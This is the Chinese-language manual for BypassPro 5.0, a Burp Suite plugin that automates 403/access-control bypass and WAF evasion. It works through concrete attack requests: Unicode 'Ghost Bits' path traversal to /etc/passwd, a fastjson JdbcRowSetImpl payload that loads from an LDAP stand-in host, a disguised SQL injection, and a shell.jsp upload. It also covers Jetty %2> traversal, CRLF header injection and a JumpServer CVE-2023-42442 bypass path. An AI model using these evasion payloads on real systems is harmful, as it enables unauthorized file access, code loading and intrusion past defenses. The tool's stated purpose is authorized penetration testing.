郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。
团队:0x727,未来一段时间将陆续开源工具,地址:https://github.com/0x727
定位:在攻防和渗透测试中,可以更加方便的找到一些绕过的点,比如403bypass,比如shiro的权限绕过
语言:Java 8(pom.xml 中 source/target=8,产物可在 Java 8 环境运行;构建可使用 JDK 8+)
功能:权限绕过的自动化bypass的burpsuite插件。
此项目是基于p0desta师傅的项目https://github.com/p0desta/AutoBypass403-BurpSuite进行二开的。用于权限绕过,403bypass等的自动化bypass的Burpsuite插件。感谢p0desta师傅的开源,本二开项目已经过p0desta师傅本人允许开源。
BypassPro 5.0 是一次大版本重构:从单一的 403 bypass 工具,扩展为“自动权限绕过 + 自动 WAF 绕过 + 手动 WAF 工作台”的组合型 Burp 插件。本版本重点增强了手动构造能力、Ghost Bits 测试能力、Raw Socket 发包能力和配置可维护性。
Auto-权限绕过
- 入口:
Send to BypassPro (Access Control),以及 Dashboard 中的 Auto Scan。 - 配置:
profiles.auto_access_bypass。 - 用途:面向 401/403、权限绕过、访问控制绕过场景。
- 规则:suffix / prefix / boundary_insert / headers。
Auto-WAF绕过
- 入口:
Send to BypassPro (WAF)。 - 配置:
profiles.auto_waf_bypass。 - 用途:对指定请求自动生成 WAF 绕过变体。
- 能力:
- Path / Header 规则变形。
- Body Charset 编码:UTF-16 / UTF-16BE / UTF-16LE / UTF-32 / UTF-32BE / UTF-32LE / IBM037。
- Body Transform:Gzip。
- Content-Type 伪装:form-urlencoded / multipart / text/plain。
- Ghost Bits 自动绕过:基于原请求已有 token 生成
eq/parser候选,场景模板默认关闭。
Manual-WAF工作台
- 入口:
Send to BypassPro (Manual WAF)。 - 用途:把请求送入手动工作台,像 Repeater 一样编辑、组合、发送,但工具栏专门面向 WAF/解析差异绕过。
- 特点:
- 使用 Burp 原生
IMessageEditor,支持 Pretty / Raw / Hex。 - 支持 Host / Port / HTTPS 手动修改。
- 支持 Send / Cancel / Reset / Undo / Redo。
- 支持 Follow Redirect,最多 10 跳。
- 支持 History,便于回放和对比。
- 使用 Burp 原生
手动工具区重新按用途分区,不再把所有按钮堆在一起:
- Obfuscation & Noise:控制字符、噪音字符、路径混淆、后缀/分段/边界变形。
- Data Encoding:URL 编码、Path 编码、双重 URL、混合编码、Unicode 转义、Base64、字符集编码、charset 参数位置变形;安全字符无变化时会询问是否强制编码。
- Char Mutation:全角、同形字、零宽字符、大小写变形。
- Header Spoof:X-Forwarded-For、X-Client-IP、X-Remote-Addr、Referer、HTTP/1.0 等头部伪造。
- Body Transform:form / multipart / JSON 转换、Gzip、HTTP/1.0。
- Gh0st Bits:Java char -> byte 截断、宽松 parser、模板化漏洞链构造。
选区规则也做了统一:
- 有选区时,优先处理用户选中的内容。
- 多处匹配时,弹出作用域选择:选区处 / 全部 / 第 N 处。
- 没有选区且无法安全推断位置时,会提示用户先选中。
- 支持保持光标位置,避免点击工具后编辑器跳回开头。
新增专门的 Gh0st Bits 工作区,用于测试 Java 生态中 char 到 byte 截断、宽松 hex 解析、多阶段 decode 等解析差异。
手动区能力:
- Ghost 编码
- 最小集:只变形危险分隔符,如
. / \ % @ : ; ? & = ' " < > CR LF。 - 全量:选区内 ASCII 全部变形。
- 字母 / 数字 / 符号:按字符类型变形。
- 换组:保持 Ghost 还原结果不变,重新生成另一组 Ghost 字符。
- 最小集:只变形危险分隔符,如
- Ghost 还原
- 预览:查看选区低 8 位或低 7 位还原结果。
- 候选:选中单个 ASCII 字符,查看可用 Ghost 字符候选。
- 8-bit:模拟
ch & 0xFF。 - 7-bit:模拟 Tomcat RFC2231 中的
ch & 0x7F。
- 常用载荷
.%u002eCRLF.jsp@typeclass
- JSON 解析器
- fastjson
\x4_ - fastjson
\u - jackson
\u - Unicode 数字
- fastjson
- URL / 文件解析器
- Jetty
%2> - 全角 URL
- Tomcat
%HH
- Jetty
- 模板
- 模板来自
profiles.manual_waf_bypass.ghost_bits.templates。 - 支持 path / filename / header_value / selection 四类 target。
- 模板来自
底部紧凑预览会显示:
- 当前选区。
- Ghost 还原结果。
- URL decode 后结果。
- 风险提示,如 path、separator、CRLF、percent、quote、angle 等。
现在很多资料把 Ghost Bits 直接和 阮严灵丰丰甲来 绑定在一起,这是不准确的。
阮严灵丰丰甲来 只是 CVE-2025-41242 这条利用链里,为了构造中间态 .%u002e 选出来的一组字符:
阮 -> .
严 -> %
灵 -> u
丰 -> 0
丰 -> 0
甲 -> 2
来 -> e
阮严灵丰丰甲来
低 8 位还原后是:
.%u002e
注意最后一个字是 来,不是 田。来 的低 8 位是 0x65,也就是 e;田 的低 8 位是 0x30,也就是 0。
更重要的是:Ghost Bits 不是固定 payload,也不是“中文等于漏洞”。它的本质是:
攻击者先设计后端最终要看到的 ASCII / 中间态
↓
再为每个字符挑选低 8 位相同的 Unicode 字符
↓
WAF 看到 Unicode
↓
后端某一层如果发生 char -> byte 截断,就看到原始 ASCII / 中间态
所以 阮严灵丰丰甲来 只是一个例子。任何满足 unicodeChar & 0xff == targetAscii 的字符都可以作为 Ghost 字符。
这也是 BypassPro 把 Gh0st Bits 拆成三类的原因:
- Ghost 编码:把用户选中的已有 payload 做低 8 位等价变形。
- 解析差异:处理
%xx、\uXXXX、\xHH、filename* 这类解析器差异。 - 模板:处理 CVE-2025-41242、Tomcat filename、Jetty
%2>这类完整漏洞链。
换组(Shuffle) 的意义也在这里:Ghost 字符不是固定的。只要低 8 位相同,显示字符可以换很多组。选中已 Ghost 化的文本后点击 Shuffle,还原结果不变,但 Unicode 字符会换成另一组。这可以用来判断 WAF 是在拦某组字面量,例如 阮严灵丰丰甲来,还是做了真正的低位还原检测。
⚠️ 警告:请勿对 Unicode 数字使用换组! 对于绝大多数基于“低 8 位截断”的漏洞(如 Spring 目录穿越、Tomcat%HH、CRLF 等),你可以随意换组。但请千万注意,不要对 JDK URLDecoder 和 Fastjson Unicode 数字 这两个模板进行换组! 为什么?因为这两个漏洞不是靠“低位截断”触发的。它们是靠真正的 Unicode 字符数字属性(比如阿拉伯数字٠对应0)。换组会随机改变字符的高字节,使其彻底失去数学上的数字含义,导致漏洞失效!
下面案例都假设你已经把请求右键送入 Manual WAF 工作台。请只在授权测试、靶场或自有环境中使用。
这个场景最容易被误解。它不是把 ../ 直接 Ghost 化,而是先构造中间态 .%u002e,再把这个中间态 Ghost 化。
目标链路是:
阮严灵丰丰甲来
↓ 低 8 位还原
.%u002e
↓ 后续 URI / URL decode
..
原始请求示例:
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close推荐做法一:按原子能力手动组合。
- 先把原始请求改成明确的路径穿越语义:
GET /../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close- 在 path 里选中要处理的
../片段。 - 进入
Obfuscation & Noise -> Traversal,点击.%u002e。 这一步的作用是把标准路径穿越 token 变成 Spring 链路需要的中间态:
GET /.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close- 进入
Gh0st Bits,依次选中每个.%u002e,点击常用载荷 -> .%u002e,或点击Ghost 编码 -> 最小集。 这一步把中间态 Ghost 化:
阮严灵丰丰甲来 -> .%u002e
请求会变成类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close- 为了触发 Spring
StringUtils.uriDecode的changed=true分支,需要保留至少一个合法%xx。常见写法是把目标文件名最后的d变成%64,让passwd变成passw%64。%64不是魔法值,也不是必须编码d。它的核心作用是让解码函数进入baos.write(ch)路径;如果没有任何%xx,某些链路会直接返回原字符串,Ghost 字符就不会发生低位还原。 最终请求类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close- Send 模式用
Auto或Raw。
注意:不同链路的解码粒度可能不同。如果目标按整条 path 解码,一个 %xx 可能触发整条 path 的 changed=true;如果目标按每个 path segment 独立解码,则每个 Ghost segment 可能都需要自己的 %xx 触发点,例如 /%2e严灵丰丰甲来/ 这种单段形态。
这个过程体现的是组合能力:
真实攻击语义:../../../../etc/passwd
↓ Obfuscation & Noise
中间态:.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd
↓ Gh0st Bits
显示形态:阮严灵丰丰甲来/...
↓ Data Encoding
decode trigger:passw%64
为什么不是直接选中 ../ 然后 Ghost?
../
↓ 直接 Ghost 化
Ghost 还原后还是 ../
这会让后续路径规范化更早看到 ../,不一定能绕过 Spring 的字面量检查。CVE-2025-41242 这条链需要的是 .%u002e 这个中间态。
推荐做法二:直接用模板。
- 进入
Gh0st Bits。 - 点击
模板中的Spring Path。 - 插件会把请求 path 替换为 Spring 静态资源穿越风格 payload,类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close- Send 模式选择
Auto或Raw。 - 如果目标链路匹配,后端可能按类似下面的路径解析:
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
↓
/.%u002e/.%u002e/.%u002e/etc/passwd
↓
/../../../etc/passwd
目标:让 WAF 看不到 @type,但让 fastjson 宽松解析后仍得到 @type。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}WAF 视角:直接看到 @type,很容易拦截。
普通变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x40type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}WAF 视角:如果会识别 \x40,仍然能还原出 @type。
Manual WAF 操作:
- 选中 JSON key 里的
@type。 - 点击
Gh0st Bits -> JSON 解析器 -> fastjson \x4_。 - 工作台会把 key 改成类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}后端可能看到:
\x4J -> @
\x4_ -> @
这里不是标准低 8 位 Ghost Bits,而是 fastjson \x 宽松 hex 表达。它的价值是让 WAF 和 fastjson 对 \x4? 的理解不一致。
目标:仍然构造 @type,但把 \u0040 里的数字换成 fastjson 可能接受的 Unicode 数字。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}普通 Unicode 变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0040type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}WAF 视角:很多 WAF 会把 \u0040 解成 @,继续拦截。
Manual WAF 操作:
- 选中
\u0040,或者选中@type。 - 点击
Gh0st Bits -> JSON 解析器 -> fastjson \u。 - 也可以点击
Unicode 数字,只替换 escape 里的数字位。 - 变形后类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u٠٠٤٠type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}后端可能看到:
\u٠٠٤٠ -> \u0040 -> @
注意:这个案例依赖 fastjson 对 Unicode digit 的处理差异。它不是“所有 JSON 解析器都通用”的 Ghost Bits。
目标:让 WAF 看不到标准 JSON 字段和值里的敏感字符串,但 Jackson 的 charToHex(ch & 0xff) 仍能把 \uXXXX escape 解析回来。
原始请求:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"username":"admin' and 1='1","tenantId":"1001","page":1,"size":20}WAF 视角:能直接看到 and 1='1 这类敏感片段。
普通 Unicode 转义:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0031\u003d\u0027\u0031","tenantId":"1001","extra":"..."}WAF 视角:如果会做 JSON / Unicode 预解析,还是能还原出 username 和 admin' and 1='1。
Manual WAF 操作:
- 选中
username、SQL 片段,或者选中已经写好的\uXXXX片段。 - 点击
Gh0st Bits -> JSON 解析器 -> jackson \u。 - 工作台会把每个
\uXXXX的 4 个 hex 位替换成低 8 位相同的 Ghost 字符,变形后类似:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u丰丰男丵\u丰丰男耳\u丰丰茶丵...":"\u丰丰茶失...","tenantId":"1001","extra":"..."}这里的字符只是示例,实际生成的 Ghost 字符可能不同。关键是还原关系要成立:
\u丰丰男丵 -> 还原后是 \u0075 -> u
\u丰丰男耳 -> 还原后是 \u0073 -> s
\u丰丰茶丵 -> 还原后是 \u0065 -> e
...
整体解析后仍是 username / admin' and 1='1
如果是 SQL 注入类 value,也按同样方法处理:先选中危险 value,再点 jackson \u,最后看底部 Ghost 还原预览是否能还原成原始 payload。
限制:
- 这个场景依赖 Jackson 走
ReaderBasedJsonParser的char[]输入。 - Spring Boot 常见 JSON 请求默认可能走
UTF8StreamJsonParser的byte[]输入,不一定触发。 - 所以它适合 Manual WAF 做验证,不适合 Auto 默认当作漏洞确认。
目标:WAF 看不到 .jsp,但 Tomcat RFC2231 filename 解析后保存成 .jsp。
原始请求:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: text/plain
test
------b--WAF 视角:直接看到 filename="shell.jsp"。
普通 RFC2231 / URL 变形:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%6asp"
Content-Type: text/plain
test
------b--WAF 视角:如果会 decode %6a,仍然看到 .jsp。
Manual WAF 操作:
- 先把
filename=改成filename*="UTF-8''shell.jsp"。 - 如果要走
%HH解析链,选中j,点击Gh0st Bits -> URL / 文件解析器 -> Tomcat %HH。不要选中6a,这个按钮接收的是原始字符,不是 hex 文本。 - 如果要走裸字符低位还原链,选中
.jsp,点击常用载荷 -> .jsp。 %HH变形后类似:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%鸶繡sp"
Content-Type: text/plain
test
------b--后端可能看到:
%鸶繡 -> %6a -> j
shell.%鸶繡sp -> shell.jsp
如果涉及 7-bit 分支,切到 Ghost 还原 -> 7-bit 看 ch & 0x7f;普通 (byte)c 场景看 8-bit。实际生成字符可能不是 鸶繡,以底部还原预览为准。
目标:让 WAF 看不到标准 %2e%2e,但 Jetty 历史宽松解析链可能把 %2> 当成 %2e。
原始请求:
GET /setup/setup-s/%2e%2e/%2e%2e/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: closeWAF 视角:decode 后就是 ../../log.jsp,容易拦截。
Manual WAF 操作:
- 选中 path 中的单个
.或单个%2e。 - 点击
Gh0st Bits -> URL / 文件解析器 -> Jetty %2>。 - 变形后类似:
GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: close后端可能看到:
%2> -> %2e -> .
%2>%2> -> ..
这个按钮只负责把已有点号 token 改成 Jetty loose hex 形态。它不是把任意 path 变成 Openfire payload;完整 Openfire 风格路径应使用模板或手工组合。
目标:业务层看起来只是一个 header value,后端二次转发时如果经过存在 char -> byte 截断的 Java 协议写入库,字节层可能还原出 CRLF。
原始请求:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAABBBB
Connection: closeManual WAF 操作:
- 选中
X-Token的值中要插入换行的位置,例如AAAA后面。 - 点击
Gh0st Bits -> 常用载荷 -> CRLF。 - 变形后类似:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAA瘍瘊BBBB
Connection: closeGhost 还原预览应显示:
瘍瘊 -> \r\n
目标应用如果后续把该值交给 Apache HttpClient <= 4.5.9、SMTP/Mail 或其他存在 char -> byte 截断的 Java 协议写入链,字节层可能变成:
X-Token: AAAA
BBBB注意:单个入站 HTTP 请求不会因为这里出现 瘍瘊 就自动拆 header。关键是后端二次转发或协议写入链是否存在低位还原。Auto-WAF 默认不会凭空注入 CRLF,只有原请求已有 CRLF 编码态才会生成候选。
已经支持:
- 通用 Ghost 编码:最小集 / 全量 / 字母 / 数字 / 符号。
- 换组:保持 Ghost 还原结果不变,重新生成另一组 Unicode 字符。
- 8-bit / 7-bit Ghost 还原预览与候选字符查询。
- 常用原子载荷:
.%u002e、CRLF、.jsp、@type、class。 - 解析差异原子:fastjson
\x4_、fastjson\u、Jackson\u、Jetty%2>、Tomcat%HH、全角 URL。 - YAML 模板:Spring Path、Tomcat filename、Jetty loose hex、fastjson / jackson / SMTP / BCEL 前缀等场景模板。
- Raw Socket:用于发送 request line / headers 中含非 ASCII Ghost 字符的请求。
不是一键完整链:
- BCEL:当前只辅助处理已有字符串或模板前缀,没有
class bytes -> gzip -> BCEL encode -> Ghost的完整生成器。 - JDK URLDecoder:可以通过 Unicode 数字、全角 URL 等原子能力手工组合,但没有专用模板。
- Tomcat 全 Ghost 文件名:可以用通用 Ghost 编码或
.jsp原子做裸字符形态;Tomcat %HH只负责%HHhex 解析形态。 - Nashorn / JSP:资料中这类解析器通常有严格 hex 校验,不应当作可用 Ghost Bits 案例。
Manual WAF 增加三种发送模式:
- Auto:默认模式。请求行或 headers 中出现非 ASCII 字节时自动走 Raw Socket。
- Burp:强制使用 Burp
makeHttpRequest。 - Raw:强制使用 Raw Socket。
Raw Socket 用于复现 Burp / curl / 浏览器可能无法稳定发送的请求,例如路径中直接携带 Unicode Ghost Bits 字符的场景。Raw 模式会绕开 Burp 的客户端规范化,并禁用证书校验,适合 CTF、靶场和授权测试环境。
限制:Raw Socket 是插件自己直连目标,不读取 Burp 的 Upstream Proxy / SOCKS Proxy 配置。需要内网代理链路时,请优先用 Burp 模式,或确认当前网络能直连目标。
Auto-WAF 的 Ghost Bits 默认遵循一个原则:只变形原请求里已经存在的内容,不自动发完整漏洞链 payload。
- 配置位置:
profiles.auto_waf_bypass.options.ghost_bits。 - 支持开关:
enabledraw_socketmax_variantstemplatesgeneric
- 默认行为:
eq:只对 query/form/json/filename 中已有可疑 token 做低 8 位等价变形。parser:只对已有%xx/ Unicode escape / x escape 等解析结构做差异变形。- 普通 path 不做通用 Ghost 化,路径类漏洞链交给显式模板。
- 等价变形会校验
fold(mutated scope) == original scope。
- 场景模板:
- Spring Static Path Traversal / CVE-2025-41242 风格路径默认关闭。
- Jetty
%2>Loose Hex 默认关闭。 - Tomcat JSP filename 默认关闭。
- Fullwidth URL Traversal 默认关闭。
- fastjson / jackson / BCEL / SMTP 相关模板也默认关闭。
- 这些模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 等价变形策略:
- 支持最小集、全量、字母、数字、符号。
- 配置键分别是
minimal/full/letters/digits/symbols。 - 默认只开“最小集”策略,避免自动扫描噪声过大。
Auto 模式会根据请求内容判断是否需要 Raw Socket。Dashboard 的 Reason 会显示 ghost:eq / ghost:parser / ghost:template、scope、token、sender、fold 摘要和差异原因,并对超长 payload 做压缩展示。Auto Ghost Bits 是绕过候选,不等于漏洞确认。
配置文件升级为明确的 profile 结构:
profiles:
auto_access_bypass:
...
auto_waf_bypass:
...
manual_waf_bypass:
ghost_bits:
...说明:
- 5.0 不再兼容旧的
profiles.access_control/profiles.waf。 - 外置配置路径:
~/.config/BypassPro/BypassPro-config.yaml。 - 首次启动会从 jar 内置模板生成配置。
- Config 页面支持 Reload / Reinit / 保存通用配置 / 保存 WAF 选项。
- 支持界面语言切换:
general.lang: zh | en。
Dashboard 也做了重构,不再只是简单堆结果表:
- 顶部控制条改为紧凑布局:
AutoScan开关:控制是否监听 Proxy 中的 401/403 响应并自动扫描。Threads:当前扫描线程数,默认读取general.threads。Req: 已完成 / 总数:显示当前任务进度。- 进度条:扫描中为动态进度,完成后显示 100%。
Err:错误请求计数。Clear:清空 Dashboard 结果,并重置计数。
- 相似度阈值不再放在 Dashboard 顶部,统一从 Config 的
general.similarity_threshold读取。 - Dashboard 表格列调整为:
idtoolTitleMethodLengthRequest URLMIME TypeHTTP StatusReason
- 表格支持排序,并为常用列设置更合理的宽度。
Reason列展示入表原因,例如:status:403 -> 200sim:0.42 < 0.85ghost:spring_static_lfi; target:path; sender:rawghost file signature matched
Reason列支持 tooltip,内容较长时可以悬停查看完整原因。tool列使用短标签区分来源:autosend accesssend wafmanual wafauto-waf/ghostsend-waf/ghost
- 下方仍然是 Request / Response 双窗格,选中表格行后自动展示对应请求和响应。
- Request / Response 使用 Burp 原生消息编辑器能力,支持 Raw / Hex / Render 等视图。
Manual WAF 底部也增加了当前请求摘要、payload hints、diff 状态和 Gh0st Bits 还原预览。Tooltip 支持多行展示,鼠标悬停时显示每个按钮的用途、适用场景和操作方式。
BypassPro 5.0 主要有四个使用入口:
| 入口 | 位置 | 适合场景 | 配置 |
|---|---|---|---|
| AutoScan | Dashboard 勾选 AutoScan |
自动监听 Proxy 中的 401/403 响应 | profiles.auto_access_bypass |
| Send to BypassPro (Access Control) | 请求右键菜单 | 对单个请求做权限绕过测试 | profiles.auto_access_bypass |
| Send to BypassPro (WAF) | 请求右键菜单 | 对单个请求做自动 WAF 绕过测试 | profiles.auto_waf_bypass |
| Send to BypassPro (Manual WAF) | 请求右键菜单 | 进入手动工作台,自己组合 payload | profiles.manual_waf_bypass |
简单选择:
- 看到 401/403,想批量找权限绕过点:用
AutoScan。 - 想对某一个请求做权限绕过:右键
Access Control。 - 想自动尝试 WAF 绕过:右键
WAF。 - 想自己选区、编码、组合、Raw 发包:右键
Manual WAF。
Auto-权限绕过用于 401/403、未授权访问、访问控制绕过等场景。
入口:
- Dashboard 勾选
AutoScan。 - 或者在请求上右键
Send to BypassPro (Access Control)。
配置位置:
profiles:
auto_access_bypass:主要规则:
suffix:在 path 末尾追加变体。- 例如
.js、.css、/.、?、;param=1。
- 例如
prefix:在 path 的每一层前插入变体。- 例如
;/、./、%2e/、%252e/。
- 例如
boundary_insert:在目录边界插入变体。- 例如
;、;param=1、%00、%2e。
- 例如
headers:添加或替换伪造头。- 例如
X-Forwarded-For、X-Client-IP、X-Remote-Addr、Referer。
- 例如
AutoScan 触发条件:
- 监听 Proxy 响应。
- 响应状态码为
401或403时触发。 - 静态资源会被过滤,避免扫描图片、JS、CSS、字体等无意义资源。
Dashboard 入表逻辑:
- 插件会对原请求生成一批变体并重放。
- 变体响应命中候选状态码后,才会进入差异判断。
- 如果响应相似度低于
general.similarity_threshold,或状态码类别发生变化,就会写入 Dashboard。 Reason列会显示入表原因,例如:status:403 -> 200sim:0.42 < 0.85class changed
Auto-WAF绕过用于对某一个请求自动生成 WAF 绕过变体。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键
Send to BypassPro (WAF)。
配置位置:
profiles:
auto_waf_bypass:自动变体来源:
- Path / Header 规则:
suffixprefixboundary_insertheaders
- Body 编码:
- UTF-16
- UTF-16BE
- UTF-16LE
- UTF-32
- UTF-32BE
- UTF-32LE
- IBM037
- Body 变换:
- Gzip 压缩请求体。
- Content-Type 伪装:
application/x-www-form-urlencodedmultipart/form-datatext/plain
- Ghost Bits 自动绕过:
eq:只对原请求已有的可疑 token 做低 8 位等价变形。- 作用域包括 query value、form value、JSON string、multipart filename。
- 典型 token 包括
../、@type、边界清晰的class、Runtime、union/select、.jsp、CRLF 编码态等。 - 低位还原校验必须满足:
fold(mutated scope) == original scope。
parser:只对原请求已有解析结构做差异变形。- 例如已有
%2e时尝试 Jetty loose hex%2>。 - 例如已有
\u0040/\x40时尝试 Unicode digit / loose hex 表达。
- 例如已有
- 普通 path segment 不做通用 Ghost 化,不凭空替换成
/etc/passwd、Openfire setup path 等完整漏洞链。 - Spring Static Path Traversal、Jetty
%2>、Tomcat filename、Fullwidth URL Traversal、fastjson / jackson / BCEL / SMTP 等场景模板保留在配置里,但默认关闭,必须明确勾选才会发送。
WAF Options 配置位置:
profiles:
auto_waf_bypass:
options:
body_charset:
body_transform:
content_type_spoof:
ghost_bits:说明:
- Body 编码类变体只对存在 body 的请求生效。
multipart会尽量把普通表单转换为 multipart;非表单请求则偏向 Content-Type 伪装。- Ghost Bits 默认是表达形态绕过候选,不是漏洞利用确认。
- Auto 结果只说明该请求存在可尝试的 Ghost Bits / parser 差异表达;能否真正利用,需要结合响应差异、后端行为和手动复测。
- 场景模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 如果 Ghost Bits 请求需要保留原始 Unicode path/header,插件会按配置走 Raw Socket。
raw_socket: true时启用。- Dashboard 的
tool可能显示为send-waf/ghost。 Reason会显示ghost:eq/ghost:parser/ghost:template、scope、token、sender、fold 摘要等信息。
Manual-WAF 是 5.0 的核心工作台。它不是自动扫描器,而是给你一个“可编辑请求 + 选区变形 + Raw/Burp 发包 + 历史记录”的绕过实验环境。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键
Send to BypassPro (Manual WAF)。
基础流程:
- 在 Request 编辑器里确认原始请求。
- 选中你要变形的内容。
- 在下方工具区选择对应功能。
- 看底部状态、Ghost 还原预览、diff 提示。
- 选择 Send 模式:
Auto:默认,发现请求行或 headers 有非 ASCII 时自动走 Raw Socket。Burp:强制 Burp 发包。Raw:强制 Raw Socket。- 注意:Raw Socket 不走 Burp 的 Upstream Proxy / SOCKS Proxy。
- 点击
Send,结果进入右侧 Response 和 History。
选区规则:
- 有选区:永远以用户选区为最高优先级。
- 没选区:只有工具能安全判断作用域时才自动处理。
- 没选区且无法安全判断:提示先选中。
- 变形后保持编辑器光标和选区附近位置,不跳回请求开头。
当你右键 Send to BypassPro (WAF) 时,Auto Ghost Bits 默认不会构造新的 CVE payload。它只会基于原请求已有内容生成候选。
示例 1:普通业务请求。
GET /roche/jsq/h5/api/storage/view HTTP/1.1
Host: target.com默认不会生成 Ghost Bits 变体。因为没有可疑 token,也没有 %xx / \uXXXX / \xHH 等 parser 结构。
示例 2:query value 中已有路径穿越语义。
GET /api/download?file=../../etc/passwd HTTP/1.1
Host: target.comAuto 可能生成 ghost:eq 候选:
GET /api/download?file=阮阮/阮阮/etc/passwd HTTP/1.1
Host: target.comReason 类似:
ghost:eq; scope:query; token:traversal; sender:raw; strategy:minimal; fold:阮阮/... -> ../../...
这表示“同一个攻击语义换了一种显示形态”,不是漏洞确认。
示例 3:path 中已有 %2e。
GET /api/%2e%2e/admin HTTP/1.1
Host: target.comAuto 可能生成 ghost:parser 候选:
GET /api/%2>%2>/admin HTTP/1.1
Host: target.comReason 类似:
ghost:parser; scope:percent_hex; token:percent-hex; sender:burp; parser-diff only, not vulnerability confirmation
示例 4:JSON 里有 classic。
POST /api HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 18
{"name":"classic"}默认不会因为 classic 里包含 class 前缀就生成 Ghost Bits 候选。class token 必须有明确边界或出现在 classLoader 这类真实语义里,避免误伤。
- 先用 Auto Scan:快速覆盖站点常见的 401/403 场景,找“可能绕过点”
- 对可疑请求用主动模式复测:右键发起
Access Control或WAF - 需要精细化研究时用 Manual WAF:把请求送入工作台,多轮变形与对比
以下为 BypassPro 早期版本的使用记录,和 5.0 的 Gh0st Bits 工作台不是同一类功能。
之前很多案例没有记录。这次bypasspro又发现了一个
最近的JumpServer未授权访问漏洞(CVE-2023-42442):未经身份验证的远程攻击者利用该漏洞可以访问录像文件,远程获取到敏感信息。
目前各大CERT给出的payload是/api/v1/terminal/sessions/ 或者/api/v1/terminal/sessions/?limit=1
部分企业可能无法及时升级版本,在nginx或者其他设备做防护处理。
ok BypassPro给出 bypass 的payload:/api/v1/terminal/sessions.json?limit=1
emmm这个时候还是老版本,

